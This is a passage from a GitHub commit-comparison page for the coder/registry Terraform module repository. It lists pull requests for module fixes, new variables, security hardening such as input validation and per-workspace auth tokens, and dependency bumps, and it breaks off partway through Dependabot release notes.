Compare commits

..

32 Commits

Author SHA1 Message Date
blinkagent[bot] eb38bc3092 ci: add variable naming lint to terraform validate (#766)
## Summary

Terraform variable names should use underscores (`snake_case`), not
hyphens. Hyphens are technically valid in HCL but are [deprecated and
non-idiomatic](https://developer.hashicorp.com/terraform/language/values/variables).
This PR adds a variable name check into the existing
`terraform_validate.sh` script so it runs as part of the existing "Run
Terraform Validate" CI step — no new scripts or workflow changes needed.

## Changes

### `scripts/terraform_validate.sh` — added `validate_variable_names()`
- Scans `.tf` files in changed modules for `variable` declarations with
hyphens
- Fails with actionable fix suggestions (shows the snake_case
alternative)
- Runs after `terraform validate` in the same CI step

### Fix: `code-server` module — rename `machine-settings` →
`machine_settings`
- Renames the hyphenated variable and its reference in main.tf
- Bumps version `1.4.2` → `1.4.3`
- Updates all README examples

---
Created on behalf of @matifali

---------

Co-authored-by: blink-so[bot] <211532188+blink-so[bot]@users.noreply.github.com>
Co-authored-by: DevCats <christofer@coder.com>
2026-02-27 11:15:47 -06:00
Michael Suchacz 93e6094b1b fix: rename add-project to add_project in mux module (#765)
Terraform variable names should use underscores, not hyphens. Renames
the `add-project` variable to `add_project` in the mux module.

**Changes:**
- `main.tf`: Renamed variable declaration and references
- `README.md`: Updated example usage

Bumped version: 1.3.0 → 1.3.1

---
Generated with [Mux](https://mux.coder.com) using Claude
2026-02-27 10:44:39 -06:00
blinkagent[bot] 6ec506e9b6 fix(dotfiles): allow tilde (~) in git repository URLs (#763)
## Description

The URL validation regex in the dotfiles module was rejecting URLs
containing tilde (`~`) characters, which are commonly used in Bitbucket
Server for user repositories (e.g.
`ssh://git@bitbucket.example.org:7999/~username/repo.git`).

This adds `~` to the allowed character set in all three validation
regexes (for `default_dotfiles_uri`, `dotfiles_uri`, and the
`coder_parameter` validation).

## Type of Change

- [ ] New module
- [ ] New template
- [x] Bug fix
- [ ] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Module Information

**Path:** `registry/coder/modules/dotfiles`  
**New version:** `v1.3.1`  
**Breaking change:** [ ] Yes [x] No

## Testing & Validation

- [x] Tests pass (`bun test`)
- [x] Code formatted (`bun fmt`)
- [ ] Changes tested locally

## Related Issues

Fixes #762

Co-authored-by: blink-so[bot] <211532188+blink-so[bot]@users.noreply.github.com>
2026-02-26 13:30:20 -06:00
Michael Suchacz b794b1edd9 feat(mux): add package_manager and registry_url variables (#761)
## Summary

Add two new customization variables to the Mux module so users can
control how Mux is installed:

### `package_manager` (default: `"auto"`)

Choose which Node package manager installs Mux:

- **`auto`** (default) — auto-detects `npm` → `pnpm` → `bun` in order,
falling back to a direct tarball download when none is available
- **`npm`**, **`pnpm`**, **`bun`** — force a specific package manager
(fails if not found on PATH)

### `registry_url` (default: `"https://registry.npmjs.org"`)

Override the npm registry URL for private registries or mirrors. All
previously hardcoded `registry.npmjs.org` references have been replaced
with this variable. The `--registry` flag is passed to whichever package
manager is used, and the tarball fallback path also uses it.

## Changes

| File | What changed |
|---|---|
| `main.tf` | Added `package_manager` and `registry_url` variables with
validation; pass both to template |
| `run.sh` | Rewrote install logic: PM auto-detection loop,
`case`/`esac` dispatch with PM-specific flags, replaced all hardcoded
registry URLs with `${REGISTRY_URL}` |
| `mux.tftest.hcl` | Added 6 new test cases: PM selection
(npm/pnpm/bun), invalid PM validation, custom registry URL,
trailing-slash stripping |
| `main.test.ts` | Updated expected log messages to match new generic
wording |
| `README.md` | Updated description, added Custom Package Manager and
Custom Registry examples, updated Notes section |

## Version

Bumped **1.2.0 → 1.3.0** (minor: new backward-compatible features).

## Validation

-  `terraform validate` — clean
-  `terraform test` — **15 passed, 0 failed**
-  `terraform fmt` — clean

---

Generated with [Mux](https://mux.coder.com) using Claude
2026-02-26 16:40:40 +01:00
Michael Suchacz 94e41d3780 Add arbitrary mux server command argument parsing (#738)
## Summary
- add a new `additional_arguments` module variable to pass extra
arguments to `mux server`
- parse `additional_arguments` in `run.sh` with quoted-group support so
values like paths with spaces are preserved
- keep existing `add-project` behavior while allowing additional
arbitrary flags
- add Terraform and Bun tests covering `additional_arguments` behavior
- document the new option in the module README and bump example version
references to `1.2.0`

## Why
The module previously only supported the `add-project` flag. This change
lets users pass additional `mux server` arguments without waiting for
new module variables.

## Validation
- `shellcheck --severity=warning --format=gcc
registry/coder/modules/mux/run.sh`
- `terraform -chdir=registry/coder/modules/mux test -verbose`
- `bun test registry/coder/modules/mux/main.test.ts`

## Breaking changes
None.

---
Generated with Mux (exec agent) using GPT-5.
2026-02-25 18:15:33 +00:00
Phorcys 480bf4b48c chore: update vscode-desktop-core module dependencies (#751)
## Description

#750 follow-up

## Type of Change

- [ ] New module
- [ ] New template
- [ ] Bug fix
- [x] Feature/enhancement
- [ ] Documentation
- [ ] Other
2026-02-24 05:20:27 +00:00
Phorcys d8851492c0 fix: fix positron module slug and display name (#752)
## Description

In https://github.com/coder/registry/pull/279, I had accidentally made
the slug of the Positron Desktop app "cursor", and display name to be
"Cursor Desktop". This PR fixes that.

## Type of Change

- [ ] New module
- [ ] New template
- [x] Bug fix
- [ ] Feature/enhancement
- [ ] Documentation
- [ ] Other
2026-02-24 09:43:49 +05:00
Phorcys 186a779659 chore(registry/coder/modules): rename vscode-desktop-core input params (#750)
## Description

Rename `web_app_*` suffix to `coder_app_*`

## Type of Change

- [ ] New module
- [ ] New template
- [ ] Bug fix
- [x] Feature/enhancement
- [ ] Documentation
- [ ] Other
2026-02-24 01:57:35 +01:00
Zach 8defcb2410 fix(agentapi): fix misleading attempt counter in wait-for-start script (#734)
The log message showed ($i/15) where $i ranged from 1-150, making it
look like the counter overshot its maximum. This change extracts the
iteration count into a max_attempts variable and uses it consistently.
2026-02-18 16:13:22 +00:00
Katorly 14c43d9f29 fix(coder/modules/jetbrains and coder-labs/modules/nextflow): fix typos in two documentations (#714) 2026-02-18 08:11:20 +00:00
blinkagent[bot] ac92895c50 docs(azure-linux): clarify resource lifecycle on stop vs delete (#713)
The existing README for the Azure Linux template only mentioned that the
VM is ephemeral and the managed disk is persistent, but did not explain
that the resource group, virtual network, subnet, and network interface
also persist when a workspace is stopped.

This led to confusion where users expected all Azure resources to be
cleaned up on stop, when in reality only the VM is destroyed.

## Changes

- Added the persistent networking/infrastructure resources to the
resource list
- Added "What happens on stop" section explaining which resources
persist and why
- Added "What happens on delete" section confirming all resources are
cleaned up
- Moved the existing note about ephemeral tools/files into a "Workspace
restarts" subsection for clarity

Created on behalf of @DevelopmentCats

Co-authored-by: blink-so[bot] <211532188+blink-so[bot]@users.noreply.github.com>
Co-authored-by: DevCats <christofer@coder.com>
2026-02-17 14:05:54 -06:00
Rowan Smith 563dbc4a71 feat: add post_clone_script to dotfiles in order to support startup dependencies/coordination (#679)
## Description

Adds post_clone_script variable to the dotfiles module, enabling startup
coordination with other scripts that depend on dotfiles.

An example of how to use this, which assumes the PR has been merged:

```
module "dotfiles" {
  count                = data.coder_workspace.me.start_count
  source               = "registry.coder.com/coder/dotfiles/coder"
  version              = "1.3.0"
  agent_id             = coder_agent.main.id
  default_dotfiles_uri = "https://github.com/someuser/somedotfiles"
  post_clone_script    = <<-EOF
    coder exp sync start dotfiles && coder exp sync complete dotfiles
  EOF
}

resource "coder_script" "personalize" {
  count        = data.coder_workspace.me.start_count
  agent_id     = coder_agent.main.id
  display_name = "Personalize"
  icon         = "/icon/personalize.svg"
  run_on_start = true
  script       = <<-EOF
    trap 'coder exp sync complete personalize' EXIT
    coder exp sync want personalize dotfiles
    coder exp sync start personalize
    SCRIPT="$HOME/.config/coderv2/dotfiles/personalize"
    if [ -f "$SCRIPT" ] && [ -x "$SCRIPT" ]; then
      $SCRIPT
    fi
  EOF
}
```

## Type of Change

- [ ] New module
- [ ] New template
- [ ] Bug fix
- [x] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Module Information

**Path:** `registry/coder/modules/dotfiles`  
**New version:** `v1.3.0`  
**Breaking change:** [ ] Yes [x] No

## Testing & Validation

- [ ] Tests pass (`bun test`)
- [ ] Code formatted (`bun fmt`)
- [x] Changes tested locally

## Related Issues

#678
2026-02-16 09:14:50 +11:00
Michael Suchacz 39fec7ca82 🤖 feat: mux module — add per-workspace auth token for CSWSH protection (#728)
## Summary

Add per-workspace authentication token wiring to the Mux Coder module,
closing the last-mile deployment gap for cross-site WebSocket hijacking
(CSWSH) protection identified in coder/security#120.

## Background

When Mux runs as a Coder workspace app, it is accessible via Coder's
subdomain proxy (e.g., `mux--ws--user.apps.coder.com`). Without an auth
token, a malicious same-site origin (another user's workspace app on the
same `*.coder.com` domain) can hijack the WebSocket session and execute
arbitrary commands via the oRPC API.

The Mux application itself already implements:
- **Strict same-origin enforcement** for HTTP/CORS and WebSocket
upgrades (coder/mux#2418)
- **Auth token support** — the server reads `MUX_SERVER_AUTH_TOKEN` or
`--auth-token`, and the browser frontend extracts `?token=` from the URL
and persists it to localStorage

What was missing was module-level token generation and browser/backend
wiring.

## Implementation

- **`random_password.mux_auth_token`** generates a 64-character token
per module instance.
- **Backend wiring:** `run.sh` launches mux with a process-scoped
`MUX_SERVER_AUTH_TOKEN` environment variable.
- **Frontend wiring:** `coder_app.mux.url` includes `?token=<secret>` so
first launch from Coder passes the token to the browser for
bootstrap/persistence.

To avoid cross-instance breakage, this change intentionally does **not**
use a shared `coder_env` key. Multiple `coder/mux` module instances can
target the same `agent_id` (different `slug`/`port`), and a single
global env key would collide. Process-scoped env keeps each instance's
backend token aligned with its app URL token.

## Validation

- `terraform fmt -check -diff` in `registry/coder/modules/mux`
- `terraform test` in `registry/coder/modules/mux` (8 passed, 0 failed)
- Updated tests now verify the URL token value (not just prefix) and
verify the launch script sets `MUX_SERVER_AUTH_TOKEN` using the
generated token.

---

_Generated with `mux` • Model: `anthropic:claude-opus-4-6` • Thinking:
`xhigh`_

<!-- mux-attribution: model=anthropic:claude-opus-4-6 thinking=xhigh -->
2026-02-14 23:08:12 +01:00
35C4n0r c5ff4de9ed feat(coder/modules/agent-helper): add agent-helper module to help run scripts (#704)
## Description
The Agent Helper module is a building block for modules that need to run
multiple scripts in a specific order. It uses `coder exp sync` for
dependency management and is designed for orchestrating pre-install,
install, post-install, and start scripts.

## Type of Change

- [x] New module
- [ ] New template
- [ ] Bug fix
- [ ] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Module Information

<!-- Delete this section if not applicable -->

**Path:** `registry/coder/modules/agent-helper`  
**New version:** `v1.0.0`  
**Breaking change:** [x] Yes [ ] No

## Testing & Validation

- [x] Tests pass (`bun test`)
- [x] Code formatted (`bun fmt`)
- [x] Changes tested locally

## Related Issues

Closes: https://github.com/coder/registry/issues/696
Closes: https://github.com/coder/registry/issues/698

---------

Co-authored-by: DevCats <christofer@coder.com>
2026-02-13 22:05:21 +05:30
35C4n0r a9a03b167c feat(coder-labs/modules/codex): bump agentapi version to v0.11.8 in codex (#727)
## Description
- bump agentapi version to v0.11.8 in codex

## Type of Change

- [ ] New module
- [ ] New template
- [ ] Bug fix
- [x] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Module Information

<!-- Delete this section if not applicable -->

**Path:** `registry/coder-labs/modules/codex`  
**New version:** `v4.1.1`  
**Breaking change:** [ ] Yes [x] No

## Testing & Validation

- [x] Tests pass (`bun test`)
- [x] Code formatted (`bun fmt`)
- [x] Changes tested locally

## Related Issues

<!-- Link related issues or write "None" if not applicable -->
2026-02-12 23:21:07 +05:30
Riajul Islam 0449051828 feat(KasmVNC): allow share variable to be passed with default: owner (#709)
Co-authored-by: Atif Ali <atif@coder.com>
2026-02-11 07:34:37 +00:00
DevCats 8e68c96633 fix: add validation to inputs in dot-files module (#703)
## Description

Add's Validation to the dotfiles module in all input's to address
security issue pointed out in
https://github.com/coder/security/issues/119
<!-- Briefly describe what this PR does and why -->

## Type of Change

- [ ] New module
- [ ] New template
- [X] Bug fix
- [ ] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Module Information

<!-- Delete this section if not applicable -->

**Path:** `registry/coder/modules/dotfiles`  
**New version:** `v1.2.4`  
**Breaking change:** [ ] Yes [X] No

## Testing & Validation

- [Y] Tests pass (`bun test`)
- [Y] Code formatted (`bun fmt`)
- [  ] Changes tested locally

## Related Issues

https://github.com/coder/security/issues/119
<!-- Link related issues or write "None" if not applicable -->

---------

Co-authored-by: Jakub Domeracki <jakub@coder.com>
2026-02-09 07:54:15 -06:00
DevCats 7e3e842aaa fix: temp-fix for not using coder_env to set path due to limitations (#699)
### Summary

Temporary workaround for non-deterministic PATH handling when using
`coder_env` across multiple modules
([coder/coder#21885](https://github.com/coder/coder/issues/21885)).

### Problem

When multiple modules define `coder_env` with the same `name` (e.g.,
`PATH`), the final value is non-deterministic due to Go map iteration
order. This caused PATH overwrites instead of appending, breaking Claude
Code discovery in workspaces using multiple modules.

### Solution

Replace `coder_env` PATH manipulation with script-based PATH handling:

- **Install script**: Exports PATH and adds claude binary directory to
shell profiles (`.profile`, `.bashrc`, `.zshrc`, fish) for interactive
shell access
- **Start script**: Exports PATH at script execution time
- **Symlink**: Creates symlink in `CODER_SCRIPT_BIN_DIR` as additional
fallback
- **Validation**: Prevents invalid configuration where
`claude_binary_path` is customized but `install_claude_code=true`
(official installer doesn't support custom paths)

### Changes

- Removed `coder_env` resource for PATH
- Added PATH export to `install.sh` and `start.sh`
- Added shell profile modifications for cross-shell compatibility (bash,
zsh, fish)
- Added variable validation for `claude_binary_path`

### Note

This is a temporary fix until
[coder/coder#21885](https://github.com/coder/coder/issues/21885) is
resolved with a proper `merge_strategy` attribute for `coder_env`.

## Type of Change

- [ ] New module
- [ ] New template
- [X] Bug fix
- [ ] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Module Information

<!-- Delete this section if not applicable -->

**Path:** `registry/coder/modules/claude-code`  
**New version:** `v4.7.5`  
**Breaking change:** [ ] Yes [X] No

## Testing & Validation

- [X] Tests pass (`bun test`)
- [X] Code formatted (`bun fmt`)
- [X] Changes tested locally

## Related Issues

([coder/coder#21885](https://github.com/coder/coder/issues/21885))
2026-02-05 09:18:27 -06:00
Steven Masley 6ac4d70405 chore: add placeholder to git config inputs (#694)
Shows a placeholder of default values in the parameter input box
2026-02-04 09:34:02 -06:00
Harsh Singh Panwar 49a7985bc6 fix(coder/modules/jupyterlab): fix a typo (#689)
Closes https://github.com/coder/registry/issues/685

---------

Co-authored-by: Atif Ali <atif@coder.com>
Co-authored-by: Muhammad Atif Ali <me@matifali.dev>
2026-02-04 09:10:27 +05:00
Andreas Skorczyk 08e68a2da4 Don't create CLAUDE_API_KEY coder_env if not set (#686)
## Description

At the moment, the `CLAUDE_API_KEY` coder_env will always be created,
even if the variable itself is not. This can lead to the environment
variable being unset if it has been set outside of Terraform.

With this PR, we make the `claude_api_key` coder_env conditional, so it
will only be created if an API key has been set.

## Type of Change

- [ ] New module
- [ ] New template
- [x] Bug fix
- [ ] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Module Information

<!-- Delete this section if not applicable -->

**Path:** `registry/coder/modules/claude-code/main.tf`  
**New version:** `v4.7.4`  
**Breaking change:** [ ] Yes [x] No

## Testing & Validation

- [x] Tests pass (`bun test`)
- [x] Code formatted (`bun fmt`)
- [x] Changes tested locally

## Related Issues

None

---------

Co-authored-by: 35C4n0r <70096901+35C4n0r@users.noreply.github.com>
2026-02-04 08:10:16 +05:30
Atif Ali 66662db5aa fix(claude-code): fix example for using AI Bridge (#691)
Co-authored-by: 35C4n0r <70096901+35C4n0r@users.noreply.github.com>
2026-02-02 16:02:06 +00:00
35C4n0r e25a972d7d fix(workflows/version-bump.yaml): fix typo in case statement (#687)
## Description
- Fix typo in version bump workflow

## Type of Change

- [ ] New module
- [ ] New template
- [x] Bug fix
- [ ] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Testing & Validation

- [x] Tests pass (`bun test`)
- [x] Code formatted (`bun fmt`)
- [x] Changes tested locally
2026-02-02 15:33:56 +00:00
35C4n0r a10d5fa6a0 fix(coder/modules/claude-code): update terraform required version to >= 1.9 (#688)
## Description

- Update terraform version for claude-code module.
- Update coder version required in readme

## Type of Change

- [ ] New module
- [ ] New template
- [x] Bug fix
- [ ] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Module Information

<!-- Delete this section if not applicable -->

**Path:** `registry/coder/modules/claude-code`  
**New version:** `v4.7.2`  
**Breaking change:** [ ] Yes [x] No

## Testing & Validation

- [x] Tests pass (`bun test`)
- [x] Code formatted (`bun fmt`)
- [x] Changes tested locally

## Related Issues

<!-- Link related issues or write "None" if not applicable -->
2026-01-31 09:44:41 +05:30
35C4n0r 360b3cd3ce feat(coder-labs/modules/codex): add support for aibridge (#655)
## Description
- Add support for AI Bridge

<!-- Briefly describe what this PR does and why -->

## Type of Change

- [ ] New module
- [ ] New template
- [ ] Bug fix
- [x] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Module Information

<!-- Delete this section if not applicable -->

**Path:** `registry/coder-labs/modules/codex`  
**New version:** `v4.1.0`  
**Breaking change:** [ ] Yes [x] No

## Testing & Validation

- [x] Tests pass (`bun test`)
- [x] Code formatted (`bun fmt`)
- [x] Changes tested locally

## Related Issues
Closes: #650

---------

Co-authored-by: DevCats <christofer@coder.com>
Co-authored-by: Atif Ali <atif@coder.com>
2026-01-31 08:41:19 +05:30
Mathias Fredriksson fa30191394 feat(coder/modules/agentapi): add log snapshot capture on shutdown (#676)
Captures the last 10 messages from AgentAPI when task workspaces stop,
allowing users to view conversation history while the task is paused.

The shutdown script fetches messages, builds a payload with last 10
messages, truncates to 64KB if needed (removes old messages first, then
truncates content of the last message), and posts to the log snapshot
endpoint.

Gracefully handles non-task workspaces (skips), older Coder versions
without the endpoint (logs and continues), and empty message sets.

Enabled by default via task_log_snapshot variable. Task ID is
automatically resolved from data.coder_task when available.

Updates coder/internal#1257
2026-01-30 09:31:04 +02:00
35C4n0r e4606c51f3 feat(coder/modules/claude-code): update claude to use binary installation for specific version pinning (#681)
## Description
- Update claude-code module to use binary installation incase of
specific version pinning unless use npm is specified.
- Add a deprecation warning in the install script and readme for npm.

## Type of Change

- [ ] New module
- [ ] New template
- [x] Bug fix
- [ ] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Module Information

<!-- Delete this section if not applicable -->

**Path:** `registry/coder/modules/claude-code`  
**New version:** `v4.7.1`  
**Breaking change:** [ ] Yes [x] No

## Testing & Validation

- [x] Tests pass (`bun test`)
- [x] Code formatted (`bun fmt`)
- [x] Changes tested locally

## Related Issues

<!-- Link related issues or write "None" if not applicable -->
2026-01-29 17:07:18 +00:00
Tao Chen 3b6246f256 [Template] SSH Linux - Add support for deploying Coder on existing Linux systems (bare-metal installation) (#605)
## Description

<!-- Briefly describe what this PR does and why -->

A draft that allow user connect existing linux system though coder by
ssh

## Type of Change

- [ ] New module
- [x] New template
- [ ] Bug fix
- [ ] Feature/enhancement
- [x] Documentation
- [ ] Other

## Template Information

<!-- Delete this section if not applicable -->

**Path:** `registry/IamTaoChen/templates/ssh-linux`

## Testing & Validation

- [ ] Tests pass (`bun test`)
- [x] Code formatted (`bun fmt`)
- [x] Changes tested locally

## Related Issues

<!-- Link related issues or write "None" if not applicable -->

---------

Co-authored-by: DevCats <christofer@coder.com>
2026-01-29 10:40:28 -06:00
Yevhenii Shcherbina b077dfafc8 chore: set default boundary version to latest (#680) 2026-01-29 09:34:38 -05:00
dependabot[bot] 6e0291cdb9 chore(deps): bump the github-actions group with 5 updates (#673)
Bumps the github-actions group with 5 updates:

| Package | From | To |
| --- | --- | --- |
| [actions/checkout](https://github.com/actions/checkout) | `6.0.0` |
`6.0.2` |
| [coder/coder](https://github.com/coder/coder) | `2.29.1` | `2.29.2` |
| [crate-ci/typos](https://github.com/crate-ci/typos) | `1.42.0` |
`1.42.1` |
| [actions/setup-go](https://github.com/actions/setup-go) | `6.1.0` |
`6.2.0` |
|
[zizmorcore/zizmor-action](https://github.com/zizmorcore/zizmor-action)
| `0.3.0` | `0.4.1` |

Updates `actions/checkout` from 6.0.0 to 6.0.2
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/actions/checkout/releases">actions/checkout's
releases</a>.</em></p>
<blockquote>
<h2>v6.0.2</h2>
<h2>What's Changed</h2>
<ul>
<li>Add orchestration_id to git user-agent when ACTIONS_ORCHESTRATION_ID
is set by <a
href="https://github.com/TingluoHuang"><code>@​TingluoHuang</code></a>
in <a
href="https://redirect.github.com/actions/checkout/pull/2355">actions/checkout#2355</a></li>
<li>Fix tag handling: preserve annotations and explicit fetch-tags by <a
href="https://github.com/ericsciple"><code>@​ericsciple</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2356">actions/checkout#2356</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/actions/checkout/compare/v6.0.1...v6.0.2">https://github.com/actions/checkout/compare/v6.0.1...v6.0.2</a></p>
<h2>v6.0.1</h2>
<h2>What's Changed</h2>
<ul>
<li>Update all references from v5 and v4 to v6 by <a
href="https://github.com/ericsciple"><code>@​ericsciple</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2314">actions/checkout#2314</a></li>
<li>Add worktree support for persist-credentials includeIf by <a
href="https://github.com/ericsciple"><code>@​ericsciple</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2327">actions/checkout#2327</a></li>
<li>Clarify v6 README by <a
href="https://github.com/ericsciple"><code>@​ericsciple</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2328">actions/checkout#2328</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/actions/checkout/compare/v6...v6.0.1">https://github.com/actions/checkout/compare/v6...v6.0.1</a></p>
</blockquote>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/actions/checkout/blob/main/CHANGELOG.md">actions/checkout's
changelog</a>.</em></p>
<blockquote>
<h1>Changelog</h1>
<h2>v6.0.2</h2>
<ul>
<li>Fix tag handling: preserve annotations and explicit fetch-tags by <a
href="https://github.com/ericsciple"><code>@​ericsciple</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2356">actions/checkout#2356</a></li>
</ul>
<h2>v6.0.1</h2>
<ul>
<li>Add worktree support for persist-credentials includeIf by <a
href="https://github.com/ericsciple"><code>@​ericsciple</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2327">actions/checkout#2327</a></li>
</ul>
<h2>v6.0.0</h2>
<ul>
<li>Persist creds to a separate file by <a
href="https://github.com/ericsciple"><code>@​ericsciple</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2286">actions/checkout#2286</a></li>
<li>Update README to include Node.js 24 support details and requirements
by <a href="https://github.com/salmanmkc"><code>@​salmanmkc</code></a>
in <a
href="https://redirect.github.com/actions/checkout/pull/2248">actions/checkout#2248</a></li>
</ul>
<h2>v5.0.1</h2>
<ul>
<li>Port v6 cleanup to v5 by <a
href="https://github.com/ericsciple"><code>@​ericsciple</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2301">actions/checkout#2301</a></li>
</ul>
<h2>v5.0.0</h2>
<ul>
<li>Update actions checkout to use node 24 by <a
href="https://github.com/salmanmkc"><code>@​salmanmkc</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2226">actions/checkout#2226</a></li>
</ul>
<h2>v4.3.1</h2>
<ul>
<li>Port v6 cleanup to v4 by <a
href="https://github.com/ericsciple"><code>@​ericsciple</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2305">actions/checkout#2305</a></li>
</ul>
<h2>v4.3.0</h2>
<ul>
<li>docs: update README.md by <a
href="https://github.com/motss"><code>@​motss</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/1971">actions/checkout#1971</a></li>
<li>Add internal repos for checking out multiple repositories by <a
href="https://github.com/mouismail"><code>@​mouismail</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/1977">actions/checkout#1977</a></li>
<li>Documentation update - add recommended permissions to Readme by <a
href="https://github.com/benwells"><code>@​benwells</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2043">actions/checkout#2043</a></li>
<li>Adjust positioning of user email note and permissions heading by <a
href="https://github.com/joshmgross"><code>@​joshmgross</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2044">actions/checkout#2044</a></li>
<li>Update README.md by <a
href="https://github.com/nebuk89"><code>@​nebuk89</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2194">actions/checkout#2194</a></li>
<li>Update CODEOWNERS for actions by <a
href="https://github.com/TingluoHuang"><code>@​TingluoHuang</code></a>
in <a
href="https://redirect.github.com/actions/checkout/pull/2224">actions/checkout#2224</a></li>
<li>Update package dependencies by <a
href="https://github.com/salmanmkc"><code>@​salmanmkc</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/2236">actions/checkout#2236</a></li>
</ul>
<h2>v4.2.2</h2>
<ul>
<li><code>url-helper.ts</code> now leverages well-known environment
variables by <a href="https://github.com/jww3"><code>@​jww3</code></a>
in <a
href="https://redirect.github.com/actions/checkout/pull/1941">actions/checkout#1941</a></li>
<li>Expand unit test coverage for <code>isGhes</code> by <a
href="https://github.com/jww3"><code>@​jww3</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/1946">actions/checkout#1946</a></li>
</ul>
<h2>v4.2.1</h2>
<ul>
<li>Check out other refs/* by commit if provided, fall back to ref by <a
href="https://github.com/orhantoy"><code>@​orhantoy</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/1924">actions/checkout#1924</a></li>
</ul>
<h2>v4.2.0</h2>
<ul>
<li>Add Ref and Commit outputs by <a
href="https://github.com/lucacome"><code>@​lucacome</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/1180">actions/checkout#1180</a></li>
<li>Dependency updates by <a
href="https://github.com/dependabot"><code>@​dependabot</code></a>- <a
href="https://redirect.github.com/actions/checkout/pull/1777">actions/checkout#1777</a>,
<a
href="https://redirect.github.com/actions/checkout/pull/1872">actions/checkout#1872</a></li>
</ul>
<h2>v4.1.7</h2>
<ul>
<li>Bump the minor-npm-dependencies group across 1 directory with 4
updates by <a
href="https://github.com/dependabot"><code>@​dependabot</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/1739">actions/checkout#1739</a></li>
<li>Bump actions/checkout from 3 to 4 by <a
href="https://github.com/dependabot"><code>@​dependabot</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/1697">actions/checkout#1697</a></li>
<li>Check out other refs/* by commit by <a
href="https://github.com/orhantoy"><code>@​orhantoy</code></a> in <a
href="https://redirect.github.com/actions/checkout/pull/1774">actions/checkout#1774</a></li>
<li>Pin actions/checkout's own workflows to a known, good, stable
version. by <a href="https://github.com/jww3"><code>@​jww3</code></a> in
<a
href="https://redirect.github.com/actions/checkout/pull/1776">actions/checkout#1776</a></li>
</ul>
<h2>v4.1.6</h2>
<ul>
<li>Check platform to set archive extension appropriately by <a
href="https://github.com/cory-miller"><code>@​cory-miller</code></a> in
<a
href="https://redirect.github.com/actions/checkout/pull/1732">actions/checkout#1732</a></li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/actions/checkout/commit/de0fac2e4500dabe0009e67214ff5f5447ce83dd"><code>de0fac2</code></a>
Fix tag handling: preserve annotations and explicit fetch-tags (<a
href="https://redirect.github.com/actions/checkout/issues/2356">#2356</a>)</li>
<li><a
href="https://github.com/actions/checkout/commit/064fe7f3312418007dea2b49a19844a9ee378f49"><code>064fe7f</code></a>
Add orchestration_id to git user-agent when ACTIONS_ORCHESTRATION_ID is
set (...</li>
<li><a
href="https://github.com/actions/checkout/commit/8e8c483db84b4bee98b60c0593521ed34d9990e8"><code>8e8c483</code></a>
Clarify v6 README (<a
href="https://redirect.github.com/actions/checkout/issues/2328">#2328</a>)</li>
<li><a
href="https://github.com/actions/checkout/commit/033fa0dc0b82693d8986f1016a0ec2c5e7d9cbb1"><code>033fa0d</code></a>
Add worktree support for persist-credentials includeIf (<a
href="https://redirect.github.com/actions/checkout/issues/2327">#2327</a>)</li>
<li><a
href="https://github.com/actions/checkout/commit/c2d88d3ecc89a9ef08eebf45d9637801dcee7eb5"><code>c2d88d3</code></a>
Update all references from v5 and v4 to v6 (<a
href="https://redirect.github.com/actions/checkout/issues/2314">#2314</a>)</li>
<li>See full diff in <a
href="https://github.com/actions/checkout/compare/1af3b93b6815bc44a9784bd300feb67ff0d1eeb3...de0fac2e4500dabe0009e67214ff5f5447ce83dd">compare
view</a></li>
</ul>
</details>
<br />

Updates `coder/coder` from 2.29.1 to 2.29.2
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/coder/coder/releases">coder/coder's
releases</a>.</em></p>
<blockquote>
<h2>v2.29.2</h2>
<h2>Changelog</h2>
<blockquote>
<p>[!NOTE]
This is a mainline Coder release. We advise enterprise customers without
a staging environment to install our <a
href="https://github.com/coder/coder/releases/latest">latest stable
release</a> while we refine this version. Learn more about our <a
href="https://coder.com/docs/install/releases">Release Schedule</a>.</p>
</blockquote>
<h3>Features</h3>
<ul>
<li>CLI: Backport <a
href="https://redirect.github.com/coder/coder/issues/21374">#21374</a>
to 2.29 (<a
href="https://redirect.github.com/coder/coder/issues/21561">#21561</a>,
2e2d0dde4)</li>
</ul>
<h3>Bug fixes</h3>
<ul>
<li>Backport update boundary version to 2.29 (<a
href="https://redirect.github.com/coder/coder/issues/21290">#21290</a>)
(<a
href="https://redirect.github.com/coder/coder/issues/21575">#21575</a>,
2314e4a94)</li>
<li>Backport migration fixes (<a
href="https://redirect.github.com/coder/coder/issues/21611">#21611</a>,
b5360a918)</li>
</ul>
<h3>Chores</h3>
<ul>
